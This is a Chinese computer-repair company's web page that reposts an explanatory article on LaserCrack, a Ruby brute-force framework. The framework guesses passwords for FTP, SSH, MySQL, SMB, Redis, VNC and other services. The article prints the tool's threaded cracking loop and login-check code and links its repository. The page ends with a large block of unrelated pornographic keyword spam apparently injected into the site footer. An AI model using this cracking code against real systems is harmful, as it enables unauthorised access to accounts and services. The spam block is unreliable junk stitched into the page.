錦州市廣廈電腦維修|上門維修電腦|上門做系統(tǒng)|0416-3905144熱誠服務(wù),錦州廣廈維修電腦,公司IT外包服務(wù)
topFlag1 設(shè)為首頁
topFlag3 收藏本站
 
maojin003 首 頁 公司介紹 服務(wù)項目 服務(wù)報價 維修流程 IT外包服務(wù) 服務(wù)器維護 技術(shù)文章 常見故障
錦州市廣廈電腦維修|上門維修電腦|上門做系統(tǒng)|0416-3905144熱誠服務(wù)技術(shù)文章
LaserCrack:一款可擴展的暴力破解框架

作者: 佚名  日期:2018-07-08 14:33:27   來源: 本站整理

 0×01 簡單說明
lasercrack是一款爆力破解工具,現(xiàn)如今市面上常見的暴力工具如hydra,medusa都有著不錯的破解效率,不過我還沒有找到ruby寫的,一方面是想從原理上理解下暴力破解漏洞,另一方面練習(xí)一下ruby語言。此工具配置成交互式終端界面,服務(wù)爆破腳本可自定義。
0×02 工具結(jié)構(gòu)
主目錄中l(wèi)asercrack.rb控制整體流程,接受用戶參數(shù)并作出響應(yīng)。

utils目錄中framework.rb是框架核心文件,控制與線程池相關(guān),提供了三種方式的爆破,即單用戶單密碼,單用戶多密碼,單密碼多用戶,目前暫不支持的多用戶多密碼。其余文件是服務(wù)爆破相關(guān)文件,其中分為service.rb和serviceattack.rb。

0×03 源碼說明
初始化函數(shù)定義了一些基本變量可以讓用戶自行設(shè)置,同時載入所有可用的服務(wù)爆破類。
    def initialize
      @module = "nil"
      @ip = "nil"
      @port = 0
      @username = "nil"
      @password = "nil"
      @user_file = "nil"
      @pass_file = "nil"
      @verbose = false
      @threads = 10
      @timeout = 10
      @exploithash = {
          "ftp" => FtpAttack.new,
          "ssh" => SshAttack.new,
          "mysql" => MysqlAttack.new,
          "mssql" => MssqlAttack.new,
          "smb" => SmbAttack.new,
          "redis" => RedisAttack.new,
          "mongo" => MongoAttack.new,
          "telnet" => TelnetAttack.new,
          "oracle" => OracleAttack.new,
          "vnc" => VncAttack.new,
      }
    end  
 參數(shù)校驗函數(shù)針對用戶輸入或未輸入的信息進行判斷可以使用哪種爆破模式,對還未達到利用條件的參數(shù)拋出未定義。
   def checkarg
      flag = true
      if @user_file == "nil" and @pass_file == "nil"
        puts "[*] Exploit by ip/ips..".light_blue
        tmphash = {"ip" => @ip, "port" => @port, "username" => @username, "password" => @password}
        tmphash.each {|key, value|
          if value == "nil" or value == 0
            tmpstr = "[-] "+key+" => "+value.to_s+"    ".light_red
            puts tmpstr.light_red
            flag = false
          end
        }
      else
        return false
      end
      return flag
    end
爆力破解函數(shù)載入線程池并批量對服務(wù)進行窮舉嘗試。其中在verbose為false的情況下使用processbar模塊動態(tài)顯示進程條信息。
   def exploit_ips_template
      $semaphore = Mutex.new
      $COUNTER = 0
      $OFFSET = 0
      puts "[*] Starting crack the #{@module}..".light_blue
      puts "[*] target ip: "+@ip.light_blue
      puts "[*] target port: "+@port.light_blue
      @exploithash.each { |key, value|
        if key == @module
          iplist = checkcidr_iprange   if not iplist.nil?
            pool = ThreadPool.new(@threads)
            exploitips = value
            iplist.each { |item|
              pool.process {
                  if exploitips.attack_once(item, @port.to_i, @username, @password, @timeout)
                    result = "[+] Crack it!"+" "*6+item+" "*6+@username+":"+@password
                    $OFFSET += 1
                    $semaphore.lock
                    puts result.light_green
                    $semaphore.unlock
                  else
                    if @verbose
                      $semaphore.lock
                      puts "["+getnow+"]".light_white+" "*6+"Not found! ==> "+item.light_red
                      $semaphore.unlock
                    else
                      $semaphore.lock
                      progressbar = ProgressBar.create(:format => 'Processing: |%b>>%i| %p%% %t', :starting_at => $COUNTER, :total => iplist.length-$OFFSET-1)
                      $semaphore.unlock
                      $COUNTER += 1
                      sleep 0.05
                      if progressbar.finished?
                        puts "finished".light_blue
                      end
                    end
                  end
              }
            }
            gets
          end
        end
      }
    end
服務(wù)登錄驗證函數(shù)對用戶提供的信息進行驗證,返回true或false表明是否可登錄成功。用ftp舉例,其他服務(wù)腳本類似,不做贅述。
    def hit
        begin
            ftp = Net::FTP.new
            ftp.read_timeout = @timeout
            ftp.open_timeout = @timeout
            ftp.connect(@ip, @port)
            ftp.login(@user, @password)
            result = ftp.lastresp

            ftp.close
            if result == "200"
                return true
            else
                return false
            end
        rescue
            return false
        end
    end
0×04 樣例測試
測試本地mysql。

由于字典比較小很快就可以出結(jié)果。

設(shè)置verbose為true,顯示攻擊詳細(xì)信息。

0×05 擴展支持服務(wù)
如需自己擴充暴力破解服務(wù),需要修改下面幾個地方:
lasercrack.rb中將對應(yīng)的服務(wù)添加到數(shù)組和字典中,字典里指定對應(yīng)的端口信息。 

framework.rb中引入對應(yīng)的attack文件,默認(rèn)都在utils目錄中編寫。

 同時init函數(shù)中添加exploithash,show函數(shù)中增加顯示。

0×06 項目地址 
https://github.com/Lucifer1993/lasercrack
 



熱門文章
  • 機械革命S1 PRO-02 開機不顯示 黑...
  • 聯(lián)想ThinkPad NM-C641上電掉電點不...
  • 三星一體激光打印機SCX-4521F維修...
  • 通過串口命令查看EMMC擦寫次數(shù)和判...
  • IIS 8 開啟 GZIP壓縮來減少網(wǎng)絡(luò)請求...
  • 索尼kd-49x7500e背光一半暗且閃爍 ...
  • 樓宇對講門禁讀卡異常維修,讀卡芯...
  • 新款海信電視機始終停留在開機界面...
  • 常見打印機清零步驟
  • 安裝驅(qū)動時提示不包含數(shù)字簽名的解...
  • 共享打印機需要密碼的解決方法
  • 圖解Windows 7系統(tǒng)快速共享打印機的...
  • 錦州廣廈電腦上門維修

    報修電話:13840665804  QQ:174984393 (聯(lián)系人:毛先生)   
    E-Mail:174984393@qq.com
    維修中心地址:錦州廣廈電腦城
    ICP備案/許可證號:遼ICP備2023002984號-1
    上門服務(wù)區(qū)域: 遼寧錦州市區(qū)
    主要業(yè)務(wù): 修電腦,電腦修理,電腦維護,上門維修電腦,黑屏藍屏死機故障排除,無線上網(wǎng)設(shè)置,IT服務(wù)外包,局域網(wǎng)組建,ADSL共享上網(wǎng),路由器設(shè)置,數(shù)據(jù)恢復(fù),密碼破解,光盤刻錄制作等服務(wù)

    技術(shù)支持:微軟等
    主站蜘蛛池模板: 中文字幕无码av激情不卡| 中文字幕无码av激情不卡| 亚洲精品无码专区久久| 人妻aⅴ中文字幕无码| 日韩中文无码有码免费视频 | 精品无码成人片一区二区98 | 精品少妇人妻AV无码专区不卡| 国产午夜无码片在线观看| 无码人妻丰满熟妇精品区| 国产午夜无码片在线观看影院| 无码AV波多野结衣久久| 国产成人无码区免费内射一片色欲| 日韩爆乳一区二区无码| 一区二区三区无码视频免费福利 | 欲色aV无码一区二区人妻| 亚洲?v无码国产在丝袜线观看| 精品国产v无码大片在线观看| 中文无码日韩欧免费视频| 无码中文字幕人妻在线一区二区三区| 国内精品人妻无码久久久影院导航| 亚洲精品久久无码| 免费A级毛片无码A∨中文字幕下载 | 天堂无码在线观看| 亚洲AV无码AV男人的天堂不卡| 2014AV天堂无码一区| 激情无码人妻又粗又大| 亚洲aⅴ无码专区在线观看| 日韩AV无码精品人妻系列| 国产午夜无码视频在线观看| 亚洲av中文无码| 人妻无码久久精品人妻| 亚洲爆乳无码精品AAA片蜜桃| 亚洲AV中文无码字幕色三| 亚洲乱亚洲乱妇无码麻豆| 亚洲中久无码永久在线观看同| V一区无码内射国产| 无码专区一va亚洲v专区在线| 久久精品无码一区二区WWW| 国产成人AV片无码免费| 免费无码一区二区| 蜜臀AV无码精品人妻色欲|